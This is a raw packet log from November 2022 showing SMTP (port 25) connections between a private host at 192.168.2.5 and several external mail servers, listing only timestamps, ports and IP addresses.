Nov 7, 2022 22:24:41.725467920 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.725471020 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:41.725486994 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.725487947 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:41.725502968 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:41.725506067 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.725526094 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.725543022 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:41.725544930 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.725558996 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:41.725564957 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.725583076 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.725600958 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.725619078 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.725634098 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:41.725637913 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.725651026 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:41.725656986 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.725666046 CET	49784	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:41.725696087 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:41.725727081 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:41.725729942 CET	49784	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:41.725766897 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.725789070 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.725806952 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.725819111 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:41.725826025 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.725836039 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:41.725845098 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.725852966 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:41.725862980 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.725872993 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:41.725889921 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:41.725908995 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.725912094 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:41.725929976 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.725946903 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.725950956 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:41.725965023 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.725966930 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:41.725981951 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.725987911 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:41.726001024 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.726013899 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:41.726018906 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.726027966 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:41.726090908 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.726129055 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.726175070 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.726195097 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.726212978 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.726232052 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.726250887 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.726269960 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.726289988 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.726311922 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.726330996 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.726349115 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.726366997 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.726413965 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.726433039 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.726449966 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.726469040 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.726485968 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.726505041 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.726552963 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.726599932 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.726619005 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.726635933 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.726686954 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.726706982 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.743082047 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.743231058 CET	49784	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:41.743969917 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.744142056 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.744246960 CET	49784	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:41.745028973 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.745110989 CET	49784	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:41.745259047 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.745285988 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.745351076 CET	49784	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:41.745984077 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.746085882 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.746129990 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.746150970 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.746162891 CET	49784	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:41.746170044 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.746187925 CET	49784	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:41.746189117 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.746225119 CET	49784	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:41.746243954 CET	49784	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:41.746243954 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.746294975 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.746299028 CET	49784	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:41.746375084 CET	49784	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:41.778166056 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.778217077 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.778237104 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.778255939 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.778276920 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.778295040 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.778312922 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.778331995 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.778353930 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.778378010 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.778397083 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.778414965 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.778434038 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.778451920 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.778470993 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.778489113 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.778506994 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.778525114 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.778542995 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.778578997 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.778754950 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.778783083 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.778925896 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.778948069 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.779061079 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.779398918 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.779427052 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.779445887 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.779617071 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.779743910 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.779767036 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.779858112 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.780086040 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.780261040 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.780289888 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.780375004 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.780412912 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.780451059 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.780553102 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.780571938 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.780591011 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.780607939 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.780653954 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.780673027 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.780694008 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.780710936 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.780745029 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.780766010 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.780782938 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.780857086 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.780875921 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.780903101 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.780925035 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.780942917 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.780961990 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.781013012 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.781058073 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.781096935 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.781116009 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.781179905 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.781197071 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.781214952 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.781232119 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.781250000 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.781266928 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.781295061 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.781312943 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.781325102 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.781369925 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.781460047 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.781611919 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.781630993 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.781647921 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.781665087 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.781682968 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.781704903 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.782243967 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.782269001 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.782289028 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.782306910 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.782324076 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.782341957 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.782362938 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.782381058 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.782454014 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.782499075 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.782520056 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.782624960 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.782645941 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.782665014 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.782682896 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.782702923 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.782737970 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.782758951 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.782820940 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.782840014 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.782857895 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.782891989 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.782913923 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.782933950 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.782953024 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.782972097 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.782991886 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.783010006 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.783030033 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.783047915 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.786056042 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.786093950 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.786107063 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.786375999 CET	49784	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:41.786933899 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.787046909 CET	49784	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:41.787137032 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.787159920 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.787245035 CET	49784	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:41.801462889 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.801609039 CET	49784	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:41.802424908 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.802495956 CET	49784	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:41.803282022 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.803338051 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.803356886 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.803376913 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.803378105 CET	49784	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:41.803428888 CET	49784	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:41.803446054 CET	49784	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:41.803561926 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.803771019 CET	49784	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:41.804529905 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.804558992 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.804610014 CET	49784	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:41.804641962 CET	49784	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:41.805598974 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.805625916 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.805644035 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.805664062 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.805682898 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.805696011 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.805704117 CET	49784	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:41.805707932 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.805727959 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.805735111 CET	49784	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:41.805744886 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.805763960 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.805775881 CET	49784	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:41.805775881 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.805794001 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.805794954 CET	49784	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:41.805807114 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.805823088 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.805841923 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.805854082 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.805865049 CET	49784	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:41.805872917 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.805901051 CET	49784	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:41.805901051 CET	49784	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:41.805927038 CET	49784	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:41.844502926 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.845300913 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.845331907 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.845351934 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.845370054 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.845387936 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.845406055 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.845577955 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.845597982 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.845616102 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.845633984 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.845654011 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.845673084 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.859812975 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.859844923 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.860740900 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.860939026 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.860960960 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.861691952 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.861849070 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.861885071 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.862715006 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.862910032 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.862932920 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.864780903 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.865036011 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.865063906 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.865081072 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.865098000 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.865114927 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.865132093 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.865149975 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.865250111 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.865272999 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.878932953 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:41.885260105 CET	49778	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:41.934525013 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:41.960767031 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:41.988564968 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.988698006 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:42.006052017 CET	49784	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:42.042639017 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:42.047063112 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:42.047106981 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:42.047225952 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:42.055455923 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:42.064523935 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:42.067945004 CET	49784	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:42.109615088 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:42.126095057 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:42.249223948 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:42.350084066 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:42.358623028 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:42.385464907 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:42.385581017 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:42.404139996 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:42.404295921 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:42.416311979 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:42.416503906 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:42.422039032 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:42.422254086 CET	49778	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:42.438054085 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:42.442951918 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:42.448587894 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:42.448860884 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:42.459563017 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:42.478728056 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:42.484237909 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:42.484576941 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:42.516473055 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:42.522841930 CET	49784	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:42.538502932 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:42.542602062 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:42.552578926 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:42.573759079 CET	49784	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:42.607253075 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:42.607616901 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:42.655987978 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:42.656234026 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:42.666515112 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:42.682549000 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:42.685636997 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:42.721249104 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:42.753534079 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:42.779238939 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:42.785924911 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:42.797019958 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:42.805592060 CET	25	49790	142.250.102.26	192.168.2.5
